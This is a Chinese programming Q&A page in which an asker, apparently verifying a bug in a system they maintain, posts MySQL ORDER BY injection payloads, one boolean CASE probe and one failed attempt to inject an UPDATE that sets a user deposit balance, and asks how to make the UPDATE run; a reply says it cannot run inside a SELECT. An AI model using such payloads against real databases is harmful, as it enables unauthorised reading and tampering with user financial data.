mysql - sql報(bào)錯(cuò)原因?
問題描述
發(fā)現(xiàn)一個(gè)正在維護(hù)的老系統(tǒng)的基于orderBy的sql注入漏洞,準(zhǔn)備驗(yàn)證一下,
我先執(zhí)行這個(gè)sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當(dāng)我執(zhí)行這個(gè)帶update語句的sql時(shí)報(bào)錯(cuò)了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報(bào)錯(cuò)
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應(yīng)該如何讓他執(zhí)行update?
問題解答
回答1:主體是select的時(shí)候,里面是不能update的,否則執(zhí)行不了的,mybatis這種注入我試過,<select>里執(zhí)行update直接報(bào)錯(cuò),注入不了
相關(guān)文章:
1. javascript - 百度echarts series數(shù)據(jù)更新問題2. Mysql && Redis 并發(fā)問題3. css3 - css before 中文亂碼?4. php - 第三方支付平臺在很短時(shí)間內(nèi)多次異步通知,訂單多次確認(rèn)收款5. css - 求推薦幾款好用的移動端頁面布局調(diào)試工具呢?6. mysql - 一個(gè)表和多個(gè)表是多對多的關(guān)系,該怎么設(shè)計(jì)7. javascript - 請教空白文本節(jié)點(diǎn)的問題8. javascript - 請問一下組件的生命周期beforeDestory是在什么情況下面觸發(fā)的呢?9. javascript - node服務(wù)端渲染的困惑10. mysql新建字段時(shí) timestamp NOT NULL DEFAULT ’0000-00-00 00:00:00’ 報(bào)錯(cuò)
